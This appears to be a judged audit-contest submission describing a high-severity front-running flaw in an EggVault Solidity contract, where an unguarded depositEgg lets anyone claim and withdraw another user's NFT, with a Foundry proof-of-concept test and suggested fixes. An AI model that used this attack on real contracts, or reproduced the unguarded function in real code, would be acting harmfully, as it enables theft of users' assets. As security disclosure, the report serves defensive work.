Eggstravaganza
First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Unrestricted access to depositEgg function enables NFT theft

mishoko

Summary

The EggVault contract's depositEgg function lacks proper access controls, allowing anyone to register themselves as the depositor of an NFT that has been transferred to the vault but not yet properly registered. This enables front-running attacks where malicious actors can steal NFTs by claiming ownership of assets they never owned.

Vulnerability Details

In the current implementation, the depositEgg function in EggVault can be called by any address to register a depositor for an NFT:

function depositEgg(uint256 tokenId, address depositor) public {
require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred to vault");
require(!storedEggs\[tokenId], "Egg already deposited");
storedEggs\[tokenId] = true;
eggDepositors\[tokenId] = depositor;
emit EggDeposited(depositor, tokenId);
}

The function only checks that:

  1. The NFT is currently owned by the vault

  2. The NFT hasn't already been registered as deposited
    It does not verify any relationship between the caller and the NFT, nor does it restrict who can call the function. This creates a vulnerability when users follow a two-step deposit process where they first transfer the NFT to the vault and then register themselves as the depositor.

Impact

This vulnerability allows malicious users to steal NFTs by front-running legitimate depositors. The attack scenario occurs when:

  1. A legitimate user transfers their NFT to the vault

  2. Before they can register the deposit, an attacker calls depositEgg and registers themselves as the depositor

  3. The attacker can then withdraw the NFT, gaining ownership of an asset they never rightfully owned

This attack is particularly likely in several common scenarios:

  • When users encounter transaction failures where their transfer succeeds but registration fails

  • When users interact directly with the contracts instead of through a proper UI

  • When users don't understand the need to complete both steps of the deposit process
    The vulnerability represents a direct risk of asset theft for users of the platform.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
​
import "forge-std/Test.sol";
import "../src/EggstravaganzaNFT.sol";
import "../src/EggVault.sol";
import "../src/EggHuntGame.sol";
​
contract FrontRunTest is Test {
EggstravaganzaNFT public nft;
EggVault public vault;
EggHuntGame public game;
address public owner = address(1);
address public alice = address(2);
address public bob = address(3);
function setUp() public {
vm.startPrank(owner);
nft = new EggstravaganzaNFT("EggstravaganzaNFT", "EGG");
vault = new EggVault();
game = new EggHuntGame(address(nft), address(vault));
nft.setGameContract(address(game));
vault.setEggNFT(address(nft));
// Mint an egg to alice
nft.setGameContract(owner);
nft.mintEgg(alice, 1);
vm.stopPrank();
}
function testFrontRunDeposit() public {
vm.startPrank(alice);
assertEq(nft.ownerOf(1), alice, "Alice should own the egg initially");
nft.approve(address(vault), 1);
nft.transferFrom(alice, address(vault), 1);
vm.stopPrank();
assertEq(nft.ownerOf(1), address(vault), "NFT should be in the vault");
assertFalse(vault.isEggDeposited(1), "NFT should not be registered yet");
vm.startPrank(bob);
vault.depositEgg(1, bob);
vault.withdrawEgg(1);
assertEq(nft.ownerOf(1), bob, "Bob now owns Alice's NFT");
vm.stopPrank();
vm.startPrank(alice);
vm.expectRevert("Egg not in vault");
vault.withdrawEgg(1);
vm.stopPrank();
}
}

Tools Used

Manual code review
Foundry for creating and running the proof of concept test

Recommendations

  • Implement onERC721Received to automatically register deposits upon NFT transfer
    or

  • Option 2: Add Access Control to depositEgg
    or

  • Option 3: Create an Atomic Deposit Function

Updates

Lead Judging Commences

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Frontrunning Vulnerability DepositEgg

Front-running depositEgg allows deposit ownership hijacking.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.